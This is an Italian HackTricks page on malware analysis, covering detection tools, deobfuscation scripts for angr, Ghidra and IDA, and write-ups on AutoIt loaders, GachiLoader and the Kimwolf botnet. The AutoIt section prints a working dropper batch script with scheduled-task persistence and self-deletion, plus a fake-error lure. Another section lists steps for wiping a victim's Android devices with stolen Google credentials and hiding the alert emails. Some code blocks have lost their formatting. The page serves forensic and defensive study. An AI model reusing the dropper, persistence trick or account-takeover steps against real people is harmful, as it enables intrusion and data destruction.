Analisi del Malware

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cheat sheet di informatica forense

https://www.jaiminton.com/cheatsheet/DFIR/#

Servizi online

Strumenti offline per antivirus e rilevamento

Yara

Installazione

sudo apt-get install -y yara

Preparare le regole

Usa questo script per scaricare e unire tutte le regole yara per malware da github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea la directory rules ed esegui lo script. Questo creerà un file chiamato malware_rules.yar che contiene tutte le regole yara per malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Controllare la presenza di malware e creare regole

Puoi usare lo strumento YaraGen per generare yara rules da un binario. Consulta questi tutorial: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Installazione

sudo apt-get install -y clamav

Scansione

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa rileva potenzialmente capabilities malevole in eseguibili: PE, ELF, .NET. Quindi troverà elementi come Att&ck tactics, o capabilities sospette come:

  • verifica errori di OutputDebugString
  • eseguire come servizio
  • creare processo

Scaricalo nel Github repo.

IOCs

IOC significa Indicator Of Compromise. Un IOC è un insieme di condizioni che identificano alcuni software potenzialmente indesiderati o confermati malware. Blue Teams usano questo tipo di definizione per cercare questo tipo di file malevoli nei loro sistemi e networks.
Condividere queste definizioni è molto utile: quando il malware viene identificato su un computer e viene creato un IOC per quel malware, altre Blue Teams possono usarlo per identificare il malware più velocemente.

Uno strumento per creare o modificare gli IOC è IOC Editor.
Puoi usare strumenti come Redline per cercare IOCs definiti su un dispositivo.

Loki

Loki è uno scanner per Simple Indicators of Compromise.
La rilevazione si basa su quattro metodi di detection:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) è uno scanner malware per Linux rilasciato sotto la licenza GNU GPLv2, progettato attorno alle minacce affrontate negli ambienti di hosting condiviso. Utilizza dati sulle minacce provenienti da network edge intrusion detection systems per estrarre malware attivamente usati negli attacchi e genera firme per la rilevazione. Inoltre, i dati sulle minacce sono ricavati anche dalle segnalazioni degli utenti tramite la LMD checkout feature e dalle risorse della community di malware.

rkhunter

Strumenti come rkhunter possono essere utilizzati per controllare il filesystem alla ricerca di possibili rootkits e malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS è uno strumento che cercherà di trovare stringhe offuscate all’interno di eseguibili usando diverse tecniche.

PEpper

PEpper controlla alcune cose di base all’interno dell’eseguibile (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio è uno strumento che permette di ottenere informazioni sugli eseguibili Windows come imports, exports, headers, ma controllerà anche virus total e individuerà potenziali Att&ck techniques.

Detect It Easy(DiE)

DiE è uno strumento per rilevare se un file è encrypted e anche trovare packers.

NeoPI

NeoPI is uno script Python che usa una varietà di statistical methods per rilevare contenuti obfuscated e encrypted all’interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella detection of hidden web shell code.

php-malware-finder

PHP-malware-finder fa del suo meglio per rilevare obfuscated/dodgy code così come file che usano funzioni PHP spesso usate in malwares/webshells.

Apple Binary Signatures

Quando si controlla un malware sample dovresti sempre check the signature del binary poiché il developer che l’ha firmato potrebbe già essere related al malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Tecniche di rilevamento

File Stacking

Se sai che una cartella contenente i files di un web server è stata ultima aggiornata in una certa data, controlla la data in cui tutti i files nel web server sono stati creati e modificati e, se qualche data è sospetta, esamina quel file.

Baselines

Se i file di una cartella non avrebbero dovuto essere modificati, puoi calcolare l’hash dei file originali della cartella e confrontarlo con quelli attuali. Qualsiasi elemento modificato sarà sospetto.

Statistical Analysis

Quando le informazioni sono salvate nei log puoi controllare statistiche come quante volte ogni file di un web server è stato accesso, poiché una web shell potrebbe essere tra i più accessi.


Telemetria nativa in-app Android (no root)

Su Android, puoi strumentare il codice nativo all’interno del processo dell’app target precaricando una piccola libreria di logging prima che le altre librerie JNI si inizializzino. Questo fornisce visibilità precoce sul comportamento nativo senza hook a livello di sistema o root. Un approccio popolare è SoTap: inserire libsotap.so per l’ABI corretta nell’APK e iniettare una chiamata System.loadLibrary(“sotap”) in anticipo (es., static initializer o Application.onCreate), poi raccogliere i log da percorsi interni/esterni o tramite fallback su Logcat.

See the Android native reversing page for setup details and log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Alcuni malware Android e app protette RASP nascondono i nomi e le signature dei metodi JNI decodificandoli a runtime prima di chiamare RegisterNatives. Quando l’instrumentation con Frida/ptrace viene interrotta da anti-debug, puoi comunque recuperare il plaintext offline eseguendo il decoder interno al binario con angr e poi inserendo i risultati in Ghidra come commenti.

Idea chiave: trattare il decoder dentro il .so come una funzione invocabile, eseguirlo sui blob di byte offuscati in .rodata e concretizzare i byte di output fino al primo \x00 (terminatore C-string). Mantieni angr e Ghidra con la stessa image base per evitare discrepanze di indirizzo.

Workflow overview

  • Triage in Ghidra: identifica il decoder e la sua calling convention/argomenti in JNI_OnLoad e nella configurazione di RegisterNatives.
  • Run angr (CPython3) per eseguire il decoder per ogni stringa target e dumpare i risultati.
  • Annotate in Ghidra: auto-commenta le stringhe decodificate in ogni call site per una rapida ricostruzione JNI.

Ghidra triage (JNI_OnLoad pattern)

  • Applica i JNI datatypes a JNI_OnLoad in modo che Ghidra riconosca le strutture JNINativeMethod.
  • Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Cerca chiamate a RegisterNatives. Se la libreria costruisce name/signature con una routine locale (es., FUN_00100e10) che fa riferimento a una tabella statica di byte (es., DAT_00100bf4) e prende parametri come (encoded_ptr, out_buf, length), quello è un obiettivo ideale per l’esecuzione offline.

angr setup (execute the decoder offline)

  • Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
Configurazione angr ed esecuzione offline del decoder ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- Su larga scala, costruisci una mappa statica dei call sites agli argomenti del decoder (encoded_ptr, size). I Wrappers possono nascondere gli argomenti, quindi puoi creare questa mappatura manualmente dagli xrefs di Ghidra se il recupero dell'API è impreciso.

<details>
<summary>Decodifica in batch multiple call sites con angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Annota i siti di chiamata in Ghidra Opzione A: scrittore di commenti solo Jython (usa un JSON pre-calcolato)

  • Poiché angr richiede CPython3, mantieni separate deobfuscazione e annotazione. Prima esegui lo script angr sopra per produrre decoded_strings.json. Poi esegui questo GhidraScript Jython per scrivere PRE_COMMENTs ad ogni sito di chiamata (e includere il nome della funzione chiamante per fornire il contesto):
Ghidra Jython script per annotare le stringhe JNI decodificate ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Opzione B: Singolo script CPython via pyhidra/ghidra_bridge
- In alternativa, usa pyhidra o ghidra_bridge per pilotare l'API di Ghidra dallo stesso processo CPython che esegue angr. Questo permette di chiamare decode_string() e impostare immediatamente PRE_COMMENTs senza un file intermedio. La logica rispecchia lo script Jython: costruire una mappa callsite→function tramite ReferenceManager, decodificare con angr e impostare i commenti.

Perché questo funziona e quando usarlo
- L'esecuzione offline evita RASP/anti-debug: nessun ptrace, nessun hook Frida richiesto per recuperare le stringhe.
- Mantenere Ghidra e angr base_addr allineati (es., 0x00100000) garantisce che gli indirizzi di funzione/dati corrispondano tra gli strumenti.
- Procedura ripetibile per i decoder: trattare la trasformazione come una funzione pura, allocare un buffer di output in uno stato nuovo, chiamarla con (encoded_ptr, out_ptr, len), quindi concretizzare tramite state.solver.eval e parsare C-strings fino a \x00.

Note e insidie
- Rispettare l'ABI/calling convention target. angr.factory.callable ne sceglie una basata su arch; se gli argomenti sembrano spostati, specificare cc esplicitamente.
- Se il decoder si aspetta buffer di output azzerati, inizializzare outbuf con zeri nello stato prima della chiamata.
- Per .so Android position-independent, fornire sempre base_addr in modo che gli indirizzi in angr corrispondano a quelli visti in Ghidra.
- Usare currentProgram.getReferenceManager() per enumerare call-xrefs anche se l'app avvolge il decoder dietro stub sottili.

Per le basi di angr, vedi: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Le famiglie di malware moderne abusano pesantemente dell'offuscamento del Control-Flow Graph (CFG): invece di un jump/call diretto calcolano la destinazione a runtime ed eseguono un `jmp rax` o `call rax`. Un piccolo *dispatcher* (tipicamente nove istruzioni) imposta il target finale in base ai flag CPU `ZF`/`CF`, rompendo completamente il recupero statico del CFG.

La tecnica — mostrata dal loader SLOW#TEMPEST — può essere sconfitta con un flusso di lavoro in tre passi che si basa solo su IDAPython e l'emulatore CPU Unicorn.

### 1. Individua ogni jump / call indiretto
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Estrarre il byte-code del dispatcher

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emularlo due volte con Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Esegui run(code,0,0) e run(code,1,1) per ottenere le destinazioni dei rami false e true.

4. Ripristinare un direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Dopo patching, forzare IDA a rianalizzare la funzione in modo che il CFG completo e l’output di Hex-Rays vengano ripristinati:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Etichettare le chiamate API indirette

Una volta conosciuta la destinazione reale di ogni call rax, puoi dire a IDA quale sia in modo che i tipi dei parametri e i nomi delle variabili vengano recuperati automaticamente:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Vantaggi pratici

  • Ripristina il vero CFG → la decompilazione passa da 10 righe a migliaia.
  • Abilita string-cross-reference & xrefs, rendendo la ricostruzione del comportamento banale.
  • Gli script sono riutilizzabili: inserirli in qualsiasi loader protetto dallo stesso trucco.

Loader basati su AutoIt: .a3x decryption, Task Scheduler masquerade and RAT injection

Questo pattern di intrusione concatena un MSI firmato, loader AutoIt compilati in .a3x e un job di Task Scheduler che si maschera da app legittima.

MSI → custom actions → AutoIt orchestrator

Albero dei processi e comandi eseguiti dalle custom actions del MSI:

  • MsiExec.exe → cmd.exe per eseguire install.bat
  • WScript.exe per mostrare un dialogo di errore fittizio
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (drops loader, sets persistence, self-cleans):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (esca per l’utente):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Artefatti chiave e mascheramento:

  • Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
  • Copies schtasks.exe to hwpviewer.exe (mascherades as Hangul Word Processor viewer)
  • Creates a scheduled task “IoKlTr” that runs every 1 minute
  • Startup LNK seen as Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Stages modules under %APPDATA%\Google\Browser\ subfolders containing adb or adv and starts them via autoit.vbs/install.bat helpers

Suggerimenti per la triage forense:

  • schtasks enumeration: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Look for renamed copies of schtasks.exe co-located with Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Common paths: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)

Caricatori AutoIt e decrittazione dei payload .a3x → iniezione

  • AutoIt modules are compiled with #AutoIt3Wrapper_Outfile_type=a3x and decrypt embedded payloads before injecting into benign processes.
  • Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (Remcos\RunBinary.a3x).
  • Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.

Schema generico di decrittazione (l’input/algoritmo HMAC esatto è specifico della famiglia):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Flusso di injection comune (CreateRemoteThread-style):

  • CreateProcess (suspended) del processo di destinazione (ad es. cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory con modulo/shellcode decrittato
  • CreateRemoteThread o QueueUserAPC per eseguire il payload

Idee per l’hunting

  • AutoIt3.exe avviato da MsiExec.exe o WScript.exe che lancia utility di sistema
  • File con estensione .a3x o AutoIt script runners in percorsi pubblici/scrivibili dall’utente
  • Attività pianificate sospette che eseguono AutoIt3.exe o binari non firmati da Microsoft, con trigger a livello di minuti

Abuso di account takeover di Android Find My Device (Find Hub)

Durante l’intrusione su Windows, gli operatori hanno usato credenziali Google rubate per cancellare ripetutamente i dispositivi Android della vittima, sopprimendo le notifiche mentre ampliavano l’accesso tramite il messenger desktop della vittima connesso.

Passaggi dell’operatore (da una sessione del browser autenticata):

  • Controllare Google Account → Security → Your devices; seguire Find My Phone → Find Hub (https://www.google.com/android/find)
  • Selezionare il dispositivo → reinserire la password Google → eseguire “Erase device” (factory reset); ripetere per ritardare il recupero
  • Facoltativo: cancellare le e-mail di avviso nella casella di posta collegata (es., Naver) per nascondere le notifiche di sicurezza

Tracciamento di loader Node.js pesantemente offuscati

Gli attaccanti sempre più spesso incorporano loader JavaScript dentro binari Windows standalone compilati con nexe, così il runtime viene distribuito insieme allo script. Il PE risultante spesso pesa 60–90 MB ed esegue anche se Node.js non è installato. Durante la fase di triage:

  • Usare nexe_unpacker per estrarre il JavaScript incorporato dal PE e fornirlo agli strumenti locali per il static diffing.
  • Aspettarsi un mutex basato su disco in %TEMP% (GachiLoader lascia un file random <name>.lock che scade dopo ~5 minutes). Copiare il file nella sandbox prima dell’esecuzione permette di saltare fasi ridondanti pur vedendo i payload successivi.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer aggancia i moduli core all’interno di qualsiasi processo Node.js, permette di spoofare probe anti-VM e preserva ogni artefatto che il sample scrive. Lanciare script offuscati tramite il tracer per mantenere la strumentazione controllata dall’analista nello stack delle chiamate:

node -r .\tracer.js main.js

Le principali opzioni di configurazione in tracer.js permettono di:

  • Log filesystem, child-process, and HTTP activity (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Every dropped file—such as kidkadi.node—is copied to the working directory before the malware deletes it.
  • Sovrascrivere i fingerprint dell’ambiente restituendo conteggi RAM/CPU realistici, falsificando tasklist output, e manomettendo le risposte PowerShell/WMI. Questo aggira loader che richiedono ≥4 GB RAM, ≥2 cores, e che scrutinano user names (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …), e process names (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neutralizzare i controlli hardware WMI come Get-WmiObject Win32_DiskDrive (che cercano vmware, kvm, virtio, …), Win32_VideoController (bloccando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) e i conteggi di Win32_PortConnector. Quando quelle sonde riportano hardware “reale”, le sandbox non finiscono più nel loop infinito di benign Invoke-WebRequest calls verso linkedin.com, grok.com, whatsapp.com, e domini simili che GachiLoader usa per sprecare tempo di analisi.

Capturing gated C2 traffic automatically

The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:

  1. POSTs host telemetry to /log on each hard-coded C2.
  2. Issues GET /richfamily/<per-sample key> with X-Secret: gachifamily to retrieve a Base64-encoded payload URL.
  3. Performs a final GET to that URL with a long per-sample X-Secret header; missing it returns 403 Forbidden.

Because the tracer records complete requests (headers, bodies, destinations), you can replay the same traffic to pull payloads, dump Themida/VMProtect shells in memory, and extract Rhadamanthys configuration data at scale.

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs such as com.n2.systemservice06* ship a statically linked ARM ELF inside res/raw (e.g. R.raw.libniggakernel). A BOOT_COMPLETED receiver runs at startup, extracts the raw resource to the app sandbox (e.g. /data/data/<pkg>/niggakernel), makes it executable and invokes it with su.
  • Many Android TV boxes/tablets ship pre-rooted images or world-writable su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Upon start, Kimwolf binds an abstract UNIX domain socket such as @niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact.
  • The process title is overwritten with service-looking names (netd_services, tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via VEOR Qx, Qx, Qy (veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Searching for VEOR Q8, Q8, Q9 / veorq_s64 sequences and emulating their ranges mass-dumps every decrypted string, bypassing the stack-only lifetime of the plaintext.

DNS-over-TLS resolution plus XOR IP derivation

  • Tutte le varianti di Kimwolf risolvono i domini C2 parlando DNS-over-TLS (TCP/853) direttamente con Google (8.8.8.8) o Cloudflare (1.1.1.1), eludendo i normali log DNS o il hijacking.
  • I bot v4 usano semplicemente il record A IPv4 restituito. I bot v5 trattano il record A come un intero a 32 bit, ne scambiano l’endianness, lo XORano con la costante 0x00ce0491, poi ri-ricambiano l’endianness per ottenere il vero IP C2. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding fallback

  • Le build successive aggiungono un dominio ENS (pawsatyou.eth) il cui resolver text key "lol" memorizza un IPv6 dall’aspetto benigno (fed0:5dec:...:1be7:8599).
  • Il bot prende gli ultimi quattro byte (1b e7 85 99), li XORa con 0x93141715 e interpreta il risultato come un IPv4 C2 (136.243.146.140). Aggiornando il record di testo ENS si ruotano istantaneamente i C2 a valle tramite la blockchain senza toccare il DNS.

TLS + ECDSA authenticated command channel

  • Il traffico è incapsulato in wolfSSL con un protocollo framed personalizzato:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: il bot invia due header vuoti MsgType=0 (register). Il C2 risponde con MsgType=1 (verify) contenente una challenge casuale più una firma ASN.1 DER ECDSA. I bot la verificano contro un blob SubjectPublicKeyInfo incorporato; i fallimenti terminano la sessione, impedendo a nodi C2 dirottati/sinkholed di impartire task alla fleet.
  • Una volta verificato, il bot invia un corpo MsgType=0 contenente la group string definita dall’operatore (es. android-postboot-rt). Se il group è abilitato, il C2 risponde con MsgType=2 (confirm), dopo di che inizia il tasking (MsgType 5–12).
  • I verbi supportati includono SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, e payload Mirai-compatible DDoSBody (same AtkType, Duration, Targets[], Flags[] layout).

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks